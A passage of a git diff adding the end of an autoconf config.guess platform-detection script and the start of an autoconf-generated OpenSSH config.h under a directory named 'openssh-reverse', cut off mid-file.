sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:FreeBSD:*:*) + echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + *:OpenBSD:*:*) + echo ${UNAME_MACHINE}-unknown-openbsd`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + exit 0 ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit 0 ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit 0 ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i386-pc-interix + exit 0 ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit 0 ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit 0 ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + *:GNU:*:*) + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit 0 ;; + *:Linux:*:*) + + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + ld_help_string=`cd /; ld --help 2>&1` + ld_supported_emulations=`echo $ld_help_string \ + | sed -ne '/supported emulations:/!d + s/[ ][ ]*/ /g + s/.*supported emulations: *// + s/ .*// + p'` + case "$ld_supported_emulations" in + *ia64) + echo "${UNAME_MACHINE}-unknown-linux" + exit 0 + ;; + i?86linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit 0 + ;; + elf_i?86) + echo "${UNAME_MACHINE}-pc-linux" + exit 0 + ;; + i?86coff) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit 0 + ;; + sparclinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + armlinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + elf32arm*) + echo "${UNAME_MACHINE}-unknown-linux-gnuoldld" + exit 0 + ;; + armelf_linux*) + echo "${UNAME_MACHINE}-unknown-linux-gnu" + exit 0 + ;; + m68klinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + elf32ppc | elf32ppclinux) + # Determine Lib Version + cat >$dummy.c < +#if defined(__GLIBC__) +extern char __libc_version[]; +extern char __libc_release[]; +#endif +main(argc, argv) + int argc; + char *argv[]; +{ +#if defined(__GLIBC__) + printf("%s %s\n", __libc_version, __libc_release); +#else + printf("unkown\n"); +#endif + return 0; +} +EOF + LIBC="" + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null + if test "$?" = 0 ; then + ./$dummy | grep 1\.99 > /dev/null + if test "$?" = 0 ; then + LIBC="libc1" + fi + fi + rm -f $dummy.c $dummy + echo powerpc-unknown-linux-gnu${LIBC} + exit 0 + ;; + shelf_linux) + echo "${UNAME_MACHINE}-unknown-linux-gnu" + exit 0 + ;; + esac + + if test "${UNAME_MACHINE}" = "alpha" ; then + cat <$dummy.s + .data + \$Lformat: + .byte 37,100,45,37,120,10,0 # "%d-%x\n" + + .text + .globl main + .align 4 + .ent main + main: + .frame \$30,16,\$26,0 + ldgp \$29,0(\$27) + .prologue 1 + .long 0x47e03d80 # implver \$0 + lda \$2,-1 + .long 0x47e20c21 # amask \$2,\$1 + lda \$16,\$Lformat + mov \$0,\$17 + not \$1,\$18 + jsr \$26,printf + ldgp \$29,0(\$26) + mov 0,\$16 + jsr \$26,exit + .end main +EOF + LIBC="" + $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null + if test "$?" = 0 ; then + case `./$dummy` in + 0-0) + UNAME_MACHINE="alpha" + ;; + 1-0) + UNAME_MACHINE="alphaev5" + ;; + 1-1) + UNAME_MACHINE="alphaev56" + ;; + 1-101) + UNAME_MACHINE="alphapca56" + ;; + 2-303) + UNAME_MACHINE="alphaev6" + ;; + 2-307) + UNAME_MACHINE="alphaev67" + ;; + esac + + objdump --private-headers $dummy | \ + grep ld.so.1 > /dev/null + if test "$?" = 0 ; then + LIBC="libc1" + fi + fi + rm -f $dummy.s $dummy + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} ; exit 0 + elif test "${UNAME_MACHINE}" = "mips" ; then + cat >$dummy.c < /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif +#ifdef __MIPSEB__ + printf ("%s-unknown-linux-gnu\n", argv[1]); +#endif +#ifdef __MIPSEL__ + printf ("%sel-unknown-linux-gnu\n", argv[1]); +#endif + return 0; +} +EOF + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + elif test "${UNAME_MACHINE}" = "s390"; then + echo s390-ibm-linux && exit 0 + else + # Either a pre-BFD a.out linker (linux-gnuoldld) + # or one that does not give us useful --help. + # GCC wants to distinguish between linux-gnuoldld and linux-gnuaout. + # If ld does not provide *any* "supported emulations:" + # that means it is gnuoldld. + echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations:" + test $? != 0 && echo "${UNAME_MACHINE}-pc-linux-gnuoldld" && exit 0 + + case "${UNAME_MACHINE}" in + i?86) + VENDOR=pc; + ;; + *) + VENDOR=unknown; + ;; + esac + # Determine whether the default compiler is a.out or elf + cat >$dummy.c < +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif +#ifdef __ELF__ +# ifdef __GLIBC__ +# if __GLIBC__ >= 2 + printf ("%s-${VENDOR}-linux-gnu\n", argv[1]); +# else + printf ("%s-${VENDOR}-linux-gnulibc1\n", argv[1]); +# endif +# else + printf ("%s-${VENDOR}-linux-gnulibc1\n", argv[1]); +# endif +#else + printf ("%s-${VENDOR}-linux-gnuaout\n", argv[1]); +#endif + return 0; +} +EOF + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + fi ;; +# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. earlier versions +# are messed up and put the nodename in both sysname and nodename. + i?86:DYNIX/ptx:4*:*) + echo i386-sequent-sysv4 + exit 0 ;; + i?86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit 0 ;; + i?86:*:4.*:* | i?86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit 0 ;; + i?86:*:5:7*) + # Fixed at (any) Pentium or better + UNAME_MACHINE=i586 + if [ ${UNAME_SYSTEM} = "UnixWare" ] ; then + echo ${UNAME_MACHINE}-sco-sysv${UNAME_RELEASE}uw${UNAME_VERSION} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_RELEASE} + fi + exit 0 ;; + i?86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')` + (/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|egrep '^Machine.*Pent ?II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|egrep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit 0 ;; + i?86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit 0 ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit 0 ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit 0 ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit 0 ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit 0 ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit 0 ;; + M68*:*:R3V[567]*:*) + test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; + 3[34]??:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 4850:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4.3${OS_REL} && exit 0 + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4 && exit 0 ;; + m68*:LynxOS:2.*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit 0 ;; + i?86:LynxOS:2.*:* | i?86:LynxOS:3.[01]*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + rs6000:LynxOS:2.*:* | PowerPC:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit 0 ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + RM*:SINIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit 0 ;; + PENTIUM:CPunix:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + echo i586-unisys-sysv4 + exit 0 ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit 0 ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit 0 ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit 0 ;; + news*:NEWS-OS:*:6*) + echo mips-sony-newsos6 + exit 0 ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit 0 ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit 0 ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit 0 ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit 0 ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit 0 ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Darwin:*:*) + echo `uname -p`-apple-darwin${UNAME_RELEASE} + exit 0 ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + if test "${UNAME_MACHINE}" = "x86pc"; then + UNAME_MACHINE=pc + fi + echo `uname -p`-${UNAME_MACHINE}-nto-qnx + exit 0 ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit 0 ;; + NSR-W:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit 0 ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit 0 ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit 0 ;; +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +cat >$dummy.c < +# include +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +#if !defined (ultrix) + printf ("vax-dec-bsd\n"); exit (0); +#else + printf ("vax-dec-ultrix\n"); exit (0); +#endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy && rm $dummy.c $dummy && exit 0 +rm -f $dummy.c $dummy + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit 0 ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + c34*) + echo c34-convex-bsd + exit 0 ;; + c38*) + echo c38-convex-bsd + exit 0 ;; + c4*) + echo c4-convex-bsd + exit 0 ;; + esac +fi + +cat >&2 < in order to provide the needed +information to handle your system. + +config.guess version = $version + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "version='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/other/openssh-reverse/config.h b/other/openssh-reverse/config.h new file mode 100644 index 0000000..7c1f633 --- /dev/null +++ b/other/openssh-reverse/config.h @@ -0,0 +1,521 @@ +/* config.h. Generated automatically by configure. */ +/* config.h.in. Generated automatically from configure.in by autoheader. */ +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + + +/* Define as __inline if that's what the C compiler calls it. */ +/* #undef inline */ + +/* Define if your system defines sys_errlist[] */ +#define HAVE_SYS_ERRLIST 1 + +/* Define if your system choked on IP TOS setting */ +/* #undef IP_TOS_IS_BROKEN */ + +/* Define if you have the getuserattr function. */ +/* #undef HAVE_GETUSERATTR */ + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#define PAM_TTY_KLUDGE 1 + +/* Define if your snprintf is busted */ +/* #undef BROKEN_SNPRINTF */ + +/* Define if you are on NeXT */ +/* #undef HAVE_NEXT */ + +/* Define if you want to disable PAM support */ +/* #undef DISABLE_PAM */ + +/* Define if you want to enable AIX4's authenticate function */ +/* #undef WITH_AIXAUTHENTICATE */ + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +/* #undef WITH_IRIX_ARRAY */ + +/* Define if you want IRIX project management */ +/* #undef WITH_IRIX_PROJECT */ + +/* Define if you want IRIX audit trails */ +/* #undef WITH_IRIX_AUDIT */ + +/* Location of random number pool */ +#define RANDOM_POOL "/dev/urandom" + +/* Location of EGD random number socket */ +/* #undef EGD_SOCKET */ + +/* Builtin PRNG command timeout */ +#define ENTROPY_TIMEOUT_MSEC 200 + +/* Define if your ssl headers are included with #include */ +/* #undef HAVE_OPENSSL */ + +/* struct utmp and struct utmpx fields */ +#define HAVE_HOST_IN_UTMP 1 +#define HAVE_HOST_IN_UTMPX 1 +#define HAVE_ADDR_IN_UTMP 1 +#define HAVE_ADDR_IN_UTMPX 1 +#define HAVE_ADDR_V6_IN_UTMP 1 +#define HAVE_ADDR_V6_IN_UTMPX 1 +/* #undef HAVE_SYSLEN_IN_UTMPX */ +#define HAVE_PID_IN_UTMP 1 +#define HAVE_TYPE_IN_UTMP 1 +#define HAVE_TYPE_IN_UTMPX 1 +#define HAVE_TV_IN_UTMP 1 +#define HAVE_TV_IN_UTMPX 1 +#define HAVE_ID_IN_UTMP 1 +#define HAVE_ID_IN_UTMPX 1 +#define HAVE_EXIT_IN_UTMP 1 +/* #undef HAVE_TIME_IN_UTMP */ +/* #undef HAVE_TIME_IN_UTMPX */ + +/* Define if you don't want to use your system's login() call */ +/* #undef DISABLE_LOGIN */ + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +/* #undef DISABLE_PUTUTLINE */ + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +/* #undef DISABLE_PUTUTXLINE */ + +/* Define if you don't want to use lastlog */ +/* #undef DISABLE_LASTLOG */ + +/* Define if you don't want to use utmp */ +/* #undef DISABLE_UTMP */ + +/* Define if you don't want to use utmpx */ +#define DISABLE_UTMPX 1 + +/* Define if you don't want to use wtmp */ +/* #undef DISABLE_WTMP */ + +/* Define if you don't want to use wtmpx */ +#define DISABLE_WTMPX 1 + +/* Define if you want to specify the path to your lastlog file */ +/* #undef CONF_LASTLOG_FILE */ + +/* Define if you want to specify the path to your utmp file */ +/* #undef CONF_UTMP_FILE */ + +/* Define if you want to specify the path to your wtmp file */ +/* #undef CONF_WTMP_FILE */ + +/* Define if you want to specify the path to your utmpx file */ +/* #undef CONF_UTMPX_FILE */ + +/* Define if you want to specify the path to your wtmpx file */ +/* #undef CONF_WTMPX_FILE */ + +/* Define is libutil has login() function */ +#define HAVE_LIBUTIL_LOGIN 1 + +/* Define if libc defines __progname */ +#define HAVE___PROGNAME 1 + +/* Define if you want Kerberos 4 support */ +/* #undef KRB4 */ + +/* Define if you want AFS support */ +/* #undef AFS */ + +/* Define if you want S/Key support */ +/* #undef SKEY */ + +/* Define if you want TCP Wrappers support */ +/* #undef LIBWRAP */ + +/* Define if your libraries define login() */ +#define HAVE_LOGIN 1 + +/* Define if your libraries define daemon() */ +#define HAVE_DAEMON 1 + +/* Define if your libraries define getpagesize() */ +#define HAVE_GETPAGESIZE 1 + +/* Define if xauth is found in your path */ +#define XAUTH_PATH "/usr/X11R6/bin/xauth" + +/* Define if rsh is found in your path */ +#define RSH_PATH "/usr/bin/rsh" + +/* Define if you want to allow MD5 passwords */ +/* #undef HAVE_MD5_PASSWORDS */ + +/* Define if you want to disable shadow passwords */ +/* #undef DISABLE_SHADOW */ + +/* Define if you want to use shadow password expire field */ +/* #undef HAS_SHADOW_EXPIRE */ + +/* Define if you want have trusted HPUX */ +/* #undef HAVE_HPUX_TRUSTED_SYSTEM_PW */ + +/* Define if you have Digital Unix Security Integration Architecture */ +/* #undef HAVE_OSF_SIA */ + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +/* #undef HAVE_OLD_PAM */ + +/* Set this to your mail directory if you don't have maillock.h */ +#define MAIL_DIRECTORY "/var/spool/mail" + +/* Data types */ +#define HAVE_INTXX_T 1 +#define HAVE_U_INTXX_T 1 +/* #undef HAVE_UINTXX_T */ +#define HAVE_SOCKLEN_T 1 +#define HAVE_SIZE_T 1 +#define HAVE_SSIZE_T 1 +#define HAVE_MODE_T 1 +#define HAVE_PID_T 1 +#define HAVE_SA_FAMILY_T 1 +#define HAVE_STRUCT_SOCKADDR_STORAGE 1 +#define HAVE_STRUCT_ADDRINFO 1 +#define HAVE_STRUCT_IN6_ADDR 1 +#define HAVE_STRUCT_SOCKADDR_IN6 1 + +/* Fields in struct sockaddr_storage */ +/* #undef HAVE_SS_FAMILY_IN_SS */ +#define HAVE___SS_FAMILY_IN_SS 1 + +/* Define if you have /dev/ptmx */ +/* #undef HAVE_DEV_PTMX */ + +/* Define if you have /dev/ptc */ +/* #undef HAVE_DEV_PTS_AND_PTC */ + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +/* #undef IPADDR_IN_DISPLAY */ + +/* Specify default $PATH */ +/* #undef USER_PATH */ + +/* Specify location of ssh.pid */ +#define PIDDIR "/var/run" + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +/* #undef IPV4_DEFAULT */ + +/* getaddrinfo is broken (if present) */ +/* #undef BROKEN_GETADDRINFO */ + +/* Workaround more Linux IPv6 quirks */ +#define DONT_TRY_OTHER_AF 1 + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#define IPV4_IN_IPV6 1 + +/* The number of bytes in a char. */ +#define SIZEOF_CHAR 1 + +/* The number of bytes in a int. */ +#define SIZEOF_INT 4 + +/* The number of bytes in a long int. */ +#define SIZEOF_LONG_INT 4 + +/* The number of bytes in a long long int. */ +#define SIZEOF_LONG_LONG_INT 8 + +/* The number of bytes in a short int. */ +#define SIZEOF_SHORT_INT 2 + +/* Define if you have the __b64_ntop function. */ +/* #undef HAVE___B64_NTOP */ + +/* Define if you have the _getpty function. */ +/* #undef HAVE__GETPTY */ + +/* Define if you have the arc4random function. */ +/* #undef HAVE_ARC4RANDOM */ + +/* Define if you have the atexit function. */ +#define HAVE_ATEXIT 1 + +/* Define if you have the b64_ntop function. */ +/* #undef HAVE_B64_NTOP */ + +/* Define if you have the bcopy function. */ +#define HAVE_BCOPY 1 + +/* Define if you have the bindresvport_af function. */ +/* #undef HAVE_BINDRESVPORT_AF */ + +/* Define if you have the clock function. */ +#define HAVE_CLOCK 1 + +/* Define if you have the entutent function. */ +/* #undef HAVE_ENTUTENT */ + +/* Define if you have the entutxent function. */ +/* #undef HAVE_ENTUTXENT */ + +/* Define if you have the freeaddrinfo function. */ +#define HAVE_FREEADDRINFO 1 + +/* Define if you have the gai_strerror function. */ +#define HAVE_GAI_STRERROR 1 + +/* Define if you have the getaddrinfo function. */ +#define HAVE_GETADDRINFO 1 + +/* Define if you have the getnameinfo function. */ +#define HAVE_GETNAMEINFO 1 + +/* Define if you have the getpwanam function. */ +/* #undef HAVE_GETPWANAM */ + +/* Define if you have the getrusage function. */ +#define HAVE_GETRUSAGE 1 + +/* Define if you have the gettimeofday function. */ +#define HAVE_GETTIMEOFDAY 1 + +/* Define if you have the getutent function. */ +#define HAVE_GETUTENT 1 + +/* Define if you have the getutid function. */ +#define HAVE_GETUTID 1 + +/* Define if you have the getutline function. */ +#define HAVE_GETUTLINE 1 + +/* Define if you have the getutxent function. */ +#define HAVE_GETUTXENT 1 + +/* Define if you have the getutxid function. */ +#define HAVE_GETUTXID 1 + +/* Define if you have the getutxline function. */ +#define HAVE_GETUTXLINE 1 + +/* Define if you have the inet_aton function. */ +#define HAVE_INET_ATON 1 + +/* Define if you have the innetgr function. */ +#define HAVE_INNETGR 1 + +/* Define if you have the login function. */ +#define HAVE_LOGIN 1 + +/* Define if you have the logout function. */ +#define HAVE_LOGOUT 1 + +/* Define if you have the logwtmp function. */ +#define HAVE_LOGWTMP 1 + +/* Define if you have the md5_crypt function. */ +/* #undef HAVE_MD5_CRYPT */ + +/* Define if you have the memmove function. */ +#define HAVE_MEMMOVE 1 + +/* Define if you have the mkdtemp function. */ +/* #undef HAVE_MKDTEMP */ + +/* Define if you have the on_exit function. */ +#define HAVE_ON_EXIT 1 + +/* Define if you have the openpty function. */ +#define HAVE_OPENPTY 1 + +/* Define if you have the pam_getenvlist function. */ +#define HAVE_PAM_GETENVLIST 1 + +/* Define if you have the pututline function. */ +#define HAVE_PUTUTLINE 1 + +/* Define if you have the pututxline function. */ +#define HAVE_PUTUTXLINE 1 + +/* Define if you have the rresvport_af function. */ +/* #undef HAVE_RRESVPORT_AF */ + +/* Define if you have the setenv function. */ +#define HAVE_SETENV 1 + +/* Define if you have the seteuid function. */ +#define HAVE_SETEUID 1 + +/* Define if you have the setlogin function. */ +/* #undef HAVE_SETLOGIN */ + +/* Define if you have the setproctitle function. */ +/* #undef HAVE_SETPROCTITLE */ + +/* Define if you have the setreuid function. */ +#define HAVE_SETREUID 1 + +/* Define if you have the setutent function. */ +#define HAVE_SETUTENT 1 + +/* Define if you have the setutxent function. */ +#define HAVE_SETUTXENT 1 + +/* Define if you have the sigaction function. */ +#define HAVE_SIGACTION 1 + +/* Define if you have the sigvec function. */ +#define HAVE_SIGVEC 1 + +/* Define if you have the snprintf function. */ +#define HAVE_SNPRINTF 1 + +/* Define if you have the strerror function. */ +#define HAVE_STRERROR 1 + +/* Define if you have the strlcat function. */ +/* #undef HAVE_STRLCAT */ + +/* Define if you have the strlcpy function. */ +/* #undef HAVE_STRLCPY */ + +/* Define if you have the strsep function. */ +#define HAVE_STRSEP 1 + +/* Define if you have the time function. */ +#define HAVE_TIME 1 + +/* Define if you have the updwtmp function. */ +#define HAVE_UPDWTMP 1 + +/* Define if you have the utmpname function. */ +#define HAVE_UTMPNAME 1 + +/* Define if you have the utmpxname function. */ +#define HAVE_UTMPXNAME 1 + +/* Define if you have the vhangup function. */ +#define HAVE_VHANGUP 1 + +/* Define if you have the vsnprintf function. */ +#define HAVE_VSNPRINTF 1 + +/* Define if you have the header file. */ +/* #undef HAVE_BSTRING_H */ + +/* Define if you have the header file. */ +#define HAVE_ENDIAN_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_FLOATINGPOINT_H */ + +/* Define if you have the header file. */ +/* #undef HAVE_KRB_H */ + +/* Define if you have the header file. */ +#define HAVE_LASTLOG_H 1 + +/* Define if you have the header file. */ +#define HAVE_LIMITS_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_LOGIN_H */ + +/* Define if you have the header file. */ +/* #undef HAVE_MAILLOCK_H */ + +/* Define if you have the header file. */ +#define HAVE_NETDB_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_NETGROUP_H */ + +/* Define if you have the header file. */ +#define HAVE_NETINET_IN_SYSTM_H 1 + +/* Define if you have the header file. */ +#define 